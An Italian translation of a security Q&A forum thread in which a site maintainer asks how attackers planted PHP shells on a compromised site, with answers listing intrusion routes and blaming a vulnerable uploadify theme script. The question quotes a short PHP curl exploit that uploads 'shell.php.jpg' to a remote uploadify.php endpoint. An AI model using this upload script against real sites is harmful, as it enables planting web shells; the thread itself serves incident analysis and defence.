Come può qualcuno caricare un file PHP su un server senza un modulo di caricamento?

6

Mi è stato affidato un sito web esistente per il quale dovrei apportare alcune modifiche alla parte di progettazione, ma quando stavo per accedervi, ho visto che è stato compromesso. Quando stavo cercando il problema, ho trovato un file PHP di exploit contenente questo codice:

$uploadfile="shell.php.jpg";

$ch = curl_init("http://macwallpaper.net/wp-content/themes/echea/js/uploadify/uploadify.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

Riesco a capire cosa sta facendo questo script, ma non ho idea di come l'autore dell'attacco sia riuscito a caricarlo sul server. L'unica forma che il sito Web aveva era un modulo di contatto, ed era solo la parte HTML senza la funzione di posta. Inoltre, ho trovato altri 4 file PHP progettati come shell, con un sacco di codice all'interno, quindi non ho intenzione di postarlo qui.

Esistono modi per distribuire tali pacchetti senza un modulo di caricamento, in realtà senza un modulo?

EDIT: il sito web ha un database, ma nessun'altra piattaforma di controllo come un portale di amministrazione o una zona client (non esiste un accesso diretto al database), ha un ftp, ma non ho altre informazioni riguardanti ssh / scp, ecc.

    
posta Jason 02.06.2016 - 09:26
fonte

2 risposte

6

Ci sono molti modi. A giudicare dalle caratteristiche principali del tuo sito web, un utente malintenzionato potrebbe aver utilizzato:

  • Iniezione SQL : non è necessario avere accesso diretto al database. Se vuoi i dettagli tecnici, questa domanda e le sue risposte spiegano diversi modi per ottenere una shell da un'iniezione SQL ;

  • furto di credenziali : l'autore dell'attacco potrebbe aver rubato o comunque ottenuto le credenziali FTP. Questo può accadere tramite attacchi bruteforce, ma poiché l'FTP standard non è crittografato e la password è trasmessa in chiaro, un utente malintenzionato potrebbe anche aver annusato la connessione (ad esempio, se si stesse utilizzando una rete Wi-Fi pubblica), ottenuta la password e lo ha usato per caricare questi file;

  • inclusione file (LFI / RFI) : se il sito web non è progettato in modo accurato, un utente malintenzionato potrebbe caricare qualsiasi file PHP anche senza alcun modulo, database o credenziali rubate. Per maggiori informazioni: link e link ;

  • malware nel tuo computer : è possibile che un utente malintenzionato infetti il computer che usi per accedere al sito Web con malware, che potrebbe a sua volta essere utilizzato per caricare file PHP nel sito Web come se lo avessi fatto Dovresti già sapere che ci sono diversi modi per infettare il tuo computer con malware, ma ne evidenzierò uno. Spear phishing ;

  • innumerevoli altri modi . Vi consiglio caldamente di dare un'occhiata al link . Contiene molte informazioni sulla sicurezza delle applicazioni Web, incluso come eseguire revisioni del codice, come testare il tuo sito web per le vulnerabilità comuni e come difenderlo alla fine dalla maggior parte degli attacchi.

risposta data 02.06.2016 - 10:44
fonte
2

Cerca uploadify su link e noterai che il JS-Script fa parte del tuo tema e vulnerabile al caricamento arbitrario di file Vulnerabilità.

Potresti eliminare lo script e il tuo tema potrebbe ancora funzionare o, meglio ancora, usare un altro tema più sicuro.

    
risposta data 02.06.2016 - 10:53
fonte

Leggi altre domande sui tag